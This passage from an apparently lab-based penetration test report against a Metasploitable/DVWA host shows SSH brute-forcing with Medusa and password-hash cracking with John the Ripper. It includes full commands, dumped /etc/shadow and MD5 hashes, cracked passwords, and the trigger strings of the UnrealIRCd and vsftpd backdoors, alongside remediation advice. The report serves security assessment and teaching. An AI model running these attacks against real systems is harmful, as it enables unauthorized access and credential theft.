6000/tcp  open  X11    (access denied)
6667/tcp  open  irc    UnrealIRCd
6697/tcp  open  irc    UnrealIRCd
8009/tcp  open  ajp13  Apache Jserv (Protocol v1.3)
8180/tcp  open  http   Apache Tomcat/Coyote JSP engi
```

Figure 15 - user_data_dvwa

Impact: Database credential or user data leakage.

Remediation: Parameterize queries, apply least-privilege DB accounts, avoid revealing database errors, and deploy WAF and DB auditing.



F-05 — SSH Brute-Force (Medusa) Attack

8. Based on the result of [F-03 — DVWA Command Execution Injection](#), we create a file named dvwa_users.txt to save the user's name:

```
cartman
kenny
kyle
stan
```

9. Use the password dictionary called **rockyou.txt** located in **/usr/share/wordlists** to perform a password attack with the **Medusa** network attack utility

```
gunzip /usr/share/wordlists/rockyou.txt.gz
apt install medusa
medusa -U dvwa_users.txt -P /usr/share/wordlists/rockyou.txt -M ssh -h 192.168.56.103 -O success.txt
```

The success.txt file contains the successful password cracks!!!

```
feng@kali-os:~/Documents
File Actions Edit View Help
feng@kali-os:~ feng@kali-os:~ feng@kali-os:~/Documents
etc)
2025-10-23 16:07:11 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: justin (37 of 14344391 complete)
)
2025-10-23 16:07:13 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: loveme (38 of 14344391 complete)
)
2025-10-23 16:07:14 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: fuckyou (39 of 14344391 complete)
)
2025-10-23 16:07:16 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: 123123 (40 of 14344391 complete)
)
2025-10-23 16:07:18 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: football (41 of 14344391 complete)
)
2025-10-23 16:07:20 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: secret (42 of 14344391 complete)
)
2025-10-23 16:07:22 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: andrea (43 of 14344391 complete)
)
2025-10-23 16:07:24 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: carlos (44 of 14344391 complete)
)
2025-10-23 16:07:25 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: jennifer (45 of 14344391 complete)
)
2025-10-23 16:07:27 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: joshua (46 of 14344391 complete)
)
2025-10-23 16:07:29 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: bubbles (47 of 14344391 complete)
)
2025-10-23 16:07:31 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: 1234567890 (48 of 14344391 complete)
)
2025-10-23 16:07:31 ACCOUNT CHECK: [ssh] Host: 192.168.56.103 (1 of 1, 0 complete) User: stan (4 of 4, 3 complete) Password: superman (49 of 14344391 complete)
)
2025-10-23 16:07:31 ACCOUNT FOUND: [ssh] Host: 192.168.56.103 User: stan Password: superman [SUCCESS]
More Info
(feng@kali-os:[~/Documents]
$ cat success.txt
# Medusa v.2.3 (2025-10-23 16:03:51)
# medusa -U dvwa_users.txt -P /usr/share/wordlists/rockyou.txt -M ssh -h 192.168.56.103 -O sucess.txt
2025-10-23 16:03:58 ACCOUNT FOUND: [ssh] Host: 192.168.56.103 User: cartman Password: password [SUCCESS]
2025-10-23 16:04:39 ACCOUNT FOUND: [ssh] Host: 192.168.56.103 User: kenny Password: qwerty [SUCCESS]
2025-10-23 16:06:00 ACCOUNT FOUND: [ssh] Host: 192.168.56.103 User: kyle Password: football [SUCCESS]
2025-10-23 16:07:31 ACCOUNT FOUND: [ssh] Host: 192.168.56.103 User: stan Password: superman [SUCCESS]
# Medusa has finished (2025-10-23 16:07:31).
```

Figure 16 - brute_force_users



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

Impact: Remote login possible

Remediation: Disable password authentication in SSH (use keys), enable rate-limiting / fail2ban, enforce strong passwords and MFA, and monitor for brute-force patterns.



F-06 — Credential Harvesting & Offline Cracking (John)

1. Based on the result of [F-01 — Unreal ICQ 3.2.8.1 Backdoor](#), paste the /etc/passwd contents into one file called users.txt, paste the /etc/shadow contents into a second text file called pass.txt

(pass.txt)

```
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::  
daemon:*:14684:0:99999:7:::  
bin:*:14684:0:99999:7:::  
sys:$1$fUX6BP0t$Miyc3UpOzQJqz4s5wFD9I0:14742:0:99999:7:::  
sync:*:14684:0:99999:7:::  
games:*:14684:0:99999:7:::  
man:*:14684:0:99999:7:::  
lp:*:14684:0:99999:7:::  
mail:*:14684:0:99999:7:::  
news:*:14684:0:99999:7:::  
uucp:*:14684:0:99999:7:::  
proxy:*:14684:0:99999:7:::  
www-data:*:14684:0:99999:7:::  
backup:*:14684:0:99999:7:::  
list:*:14684:0:99999:7:::  
irc:*:14684:0:99999:7:::  
gnats:*:14684:0:99999:7:::  
nobody:*:14684:0:99999:7:::  
libuuid:!:14684:0:99999:7:::  
dhcp:*:14684:0:99999:7:::  
syslog:*:14684:0:99999:7:::  
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::  
sshd:*:14684:0:99999:7:::  
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::  
bind:*:14685:0:99999:7:::  
postfix:*:14685:0:99999:7:::  
ftp:*:14685:0:99999:7:::  
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfjhfcYe/:14685:0:99999:7:::  
mysql:!:14685:0:99999:7:::  
tomcat55:*:14691:0:99999:7:::  
distccd:*:14698:0:99999:7:::  
user:$1$HESu9xrH$k.o3G93DGoXliQKkPmUgZ0:14699:0:99999:7:::  
service:$1$kR3ue7JZ$7GxEldupr5Ohp6cjZ3Bu//:14715:0:99999:7:::  
telnetd:*:14715:0:99999:7:::  
proftpd:!:14727:0:99999:7:::  
statd:*:15474:0:99999:7:::  
snmp:*:15480:0:99999:7:::  
cartman:$1$oogmjW6A$j8mr64p5APnS3BCcpXEEds/:18191:0:99999:7:::  
kenny:$1$w.tiz2YI$sSGNejj73WReb0yK.4KSe.:18191:0:99999:7:::  
kyle:$1$nMf.9yFM$gZXtK1kVjyYIMPSnQSbEx/:18191:0:99999:7:::  
stan:$1$WMR6houU$MUCjjpTDwvCOa/Giettke0:18191:0:99999:7:::
```



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

(users.txt)

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,;/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,;/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,;/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,,;/home/user:/bin/bash
service:x:1002:1002,,,;/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
cartman:x:1003:1003,,,;/home/cartman:/bin/bash
kenny:x:1004:1004,,,;/home/kenny:/bin/bash
kyle:x:1005:1005,,,;/home/kyle:/bin/bash
stan:x:1006:1006,,,;/home/stan:/bin/bash
```

2. Try cracking these passwords. This requires the following two steps:

```
unshadow users.txt pass.txt > meta.txt
john meta.txt
```



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

You will see the following result, which means we have cracked the password!!!

```
feng@kali-os: ~ [feng@kali-os: ~] feng@kali-os: ~/Documents [x]
[feng@kali-os]-[~] cd Documents/
[feng@kali-os]-[~/Documents]$ ls
pass.txt users.txt

[feng@kali-os]-[~/Documents]$ ls
pass.txt users.txt
[feng@kali-os]-[~/Documents]$ unshadow users.txt pass.txt > meta.txt
Created directory: /home/feng/.john

[feng@kali-os]-[~/Documents]$ ls
meta.txt pass.txt users.txt
[feng@kali-os]-[~/Documents]$ john meta.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 11 password hashes with 11 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user      (user)
postgres  (postgres)
msfadmin  (msfadmin)
service    (service)
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
superman  (stan)
123456789 The password you have chosen is not compatible with the module.
batman    (sys)
football   (kyle)
password   (cartman)
qwerty    (kenny)
Proceeding with incremental:ASCII
```

Figure 17 - john_crack_pass

3. Based on the result of [F-04 — DVWA SQL Injection](#), save the list of MySQL hashes into mysql_passwords.txt

(mysql_passwords.txt)

```
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

4. Take the mysql_passwords.txt to a password cracking utility (John Ripper)

```
john --format=raw-MD5 mysql_passwords.txt
```

You will see the following result, which means we have cracked the password!!!



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

The screenshot shows a terminal window on a Kali Linux system. The user, feng, is in the ~/Documents directory. They run the command \$ ls to list files: dwa_users.txt, meta.txt, mysql_passwords.txt, pass.txt, sucess.txt, and users.txt. Then they run \$ john --format=raw-MD5 mysql_passwords.txt, which fails with "command not found". After a brief delay, they run \$ john --format=raw-MD5 mysql_passwords.txt again, and the tool successfully cracks several passwords:

```
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (admin)
password      (smithy)
abc123        (gordonb)
letmein       (pablo)
Proceeding with incremental:ASCII
charley       (1337)
5g 0:00:00:00 DONE 3/3 (2025-10-23 16:36) 10.00g/s 364532p/s 364532c/s 398932C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

At the bottom of the terminal, there is a "More info" section with links to various resources about SQL injection:

- <http://www.secureteam.com/security/reviews/SQLPONUP76.html>
- http://en.wikipedia.org/wiki/SQL_injection
- <http://www.unixwiz.net/techtips/sql-injection.html>

Figure 18 - crack_mysql_password

Impact: Cracked credentials enable lateral movement and privilege escalation across services.

Remediation: Use strong salted hashing algorithms, enforce password policies, rotate credentials, and require MFA.



Conclusion

The penetration test was conducted to evaluate the organization's exposure to real-world cyberattacks and to determine the effectiveness of existing security controls. The assessment followed a controlled methodology consistent with **NIST SP 800-115**, ensuring all activities were authorized, reproducible, and non-destructive.

The specific goals of the penetration test were stated as:

- Identify whether a remote attacker could gain unauthorized access to the organization's systems and data.
- Evaluate the potential impact of such a compromise on the confidentiality, integrity, and availability of critical assets.
 - Test the organization's ability to detect, respond to, and contain attempted intrusions.
 - Provide actionable remediation guidance to strengthen overall cybersecurity posture.

The test successfully demonstrated that multiple high-risk and critical vulnerabilities could be exploited to gain unauthorized system access, escalate privileges, and extract sensitive data. The exercise offered valuable insights into existing weaknesses in system patching, credential management, and web application input validation. Through this assessment, the organisation gained a clearer understanding of its threat exposure and the urgent need for improved patch management, access control, and monitoring.



Recommendations

To maintain a secure operating environment, the organization should adopt a comprehensive defence-in-depth strategy that includes timely patching, continuous monitoring, and user awareness training.

Security policies should mandate regular penetration testing, vulnerability scanning, and incident response readiness reviews at least annually or after major infrastructure changes.

All systems and applications exposed to the Internet must be hardened, monitored, and isolated within segmented network zones.

Mitigation Recommendations

- Remove or upgrade vulnerable services such as UnrealIRCd 3.2.8.1 and vsftpd 2.3.4, and verify the integrity of all binaries and configurations.
- Remediate web application vulnerabilities by enforcing strict input validation, implementing parameterized SQL queries, and deploying a web application firewall (WAF).
- Enforce strong authentication controls, such as replacing weak passwords, requiring multi-factor authentication (MFA), and disabling password-based SSH logins.
- Implement centralized logging and intrusion detection to alert on exploitation attempts, privilege escalation, or suspicious outbound connections.
- Develop a continuous security maintenance process that includes regular patch management, vulnerability assessments, and employee cybersecurity awareness training.



Risk Rating

The overall risk identified for the organization as a result of this penetration test is assessed as **High**.

During testing, a direct and reproducible path was identified from an external, unauthenticated attacker to full system compromise, including root-level command execution and credential disclosure.

The combination of outdated network services (UnrealIRCd 3.2.8.1, vsftpd 2.3.4), web application injection flaws (command injection and SQL injection in DVWA), and weak or crackable credentials created multiple exploitation paths that required minimal effort or specialized skill.

Once initial access was obtained, privilege escalation and credential reuse enabled complete control over the tested environment.

It is therefore reasonable to believe that a malicious actor with similar tools and intent could successfully execute a targeted attack resulting in:

- Unauthorized access to internal systems and sensitive information
- Compromise of authentication credentials leading to further lateral movement
- Potential data exfiltration or service disruption

Immediate remediation and ongoing security governance measures are strongly recommended to reduce exposure and prevent recurrence.



Appendix A: Vulnerability Detail and Mitigation

UnrealIRCd 3.2.8.1 Backdoor

Rating:	High (CVSS: 7.5)
Description:	The UnrealIRCd service version 3.2.8.1 contains a malicious backdoor introduced through a supply chain compromise in November 2009. The backdoor is triggered by sending a specially crafted command beginning with "AB;" followed by system commands to the IRC server on TCP ports 6667/6697. This allows remote command execution without authentication. The compromised version was distributed between November 2009 and June 2010.
Impact:	Attackers can execute arbitrary system commands with the privileges of the IRC service, gaining full control of the host. This enables complete system compromise including data theft, malware installation, service disruption, and lateral movement within the network. Exploitation requires no authentication.
Remediation:	Immediately remove or upgrade to version 3.2.10 or later from trusted official sources. Block external access to IRC ports (6667/6697) using firewall rules. Verify binary integrity and rebuild the service from trusted sources. If compromise is suspected, perform complete incident response including system rebuild, password resets, and forensic analysis.
<hr/> <ul style="list-style-type: none">• NVD - National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2010-2075• UnrealIRCd Official Security Advisory: https://www.unrealircd.org/txt/unrealsecadvisory.20100612.txt	

vsftpd 2.3.4 Backdoor

Rating:	Critical (CVSS: 10.0)
Description:	The vsftpd service version 2.3.4 contains a malicious backdoor introduced through a supply chain compromise in July 2011. The backdoor is triggered when a user attempts to login with a username containing the string :) (smiley face). Once triggered, the backdoor opens a root shell listener on TCP port 6200, allowing remote command execution without authentication. This vulnerability affects only vsftpd version 2.3.4.



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

Impact: Attackers can remotely execute arbitrary system commands with root privileges, gaining complete control of the vulnerable host. This enables unauthorized data access, malware installation, data theft, lateral movement to other systems, and complete compromise of system confidentiality, integrity, and availability. Exploitation requires no authentication and is trivially simple.

Remediation: Immediately stop the vsftpd service and upgrade to version 2.3.5 or later from trusted official repositories. Block external access to TCP ports 21 (FTP) and 6200 (backdoor port) using firewall rules. Verify binary integrity by checking package signatures from official sources. If already compromised, perform complete incident response including forensic analysis, password resets, and system rebuild from clean backups.

- NVD - National Vulnerability Database: <https://nvd.nist.gov/vuln/detail/CVE-2011-2523>
- vsftpd Official Website: <https://security.appspot.com/vsftpd.html>

Command Injection

Rating: High

Description: Command Injection is a security vulnerability that allows attackers to execute arbitrary operating system commands on the server. This occurs when applications pass unsafe user input directly to system shells without proper validation or sanitization. Attackers inject malicious commands using special characters (;,

Impact: Attackers can execute arbitrary system commands with the privileges of the vulnerable application, potentially gaining complete control of the host system. This enables unauthorized data access, file modification or deletion, malware installation, privilege escalation, denial of service, and lateral movement to other systems. Commands executed as root/administrator result in complete system compromise.

Remediation: Avoid calling operating system commands directly from application code. Use built-in language functions or libraries instead of shell commands. If system commands are necessary, implement strict input validation using allowlists of permitted characters and values. Never use user input directly in shell commands. Use parameterized APIs that separate commands from arguments. Apply principle of least privilege - run applications with minimal necessary permissions.

- OWASP - Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- CWE-78: OS Command Injection: <https://cwe.mitre.org/data/definitions/78.html>

SQL Injection



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

Rating: High

Description: SQL Injection is a code injection vulnerability where attackers insert malicious SQL code through user input fields to manipulate database queries. This occurs when applications fail to properly validate or sanitize user input before incorporating it into SQL queries. Attackers use special characters ('', --, ;) and SQL keywords (OR, UNION, SELECT) to alter query logic, bypass authentication, or access unauthorized data.

Impact: Attackers can bypass authentication, access or steal sensitive database information (passwords, credit cards, personal data), modify or delete data, execute administrative operations, and potentially achieve remote code execution on the database server. This leads to complete data breaches, regulatory violations, and financial losses.

Remediation: Use parameterized queries (prepared statements) as the primary defense. Never concatenate user input directly into SQL queries. Implement strict input validation using allowlists. Apply least privilege principle to database accounts. Use Web Application Firewalls (WAF) to detect SQL injection attempts. Keep database systems updated with security patches.

-
- OWASP - SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
 - CWE-89: SQL Injection: <https://cwe.mitre.org/data/definitions/89.html>



Appendix B: About UUZZ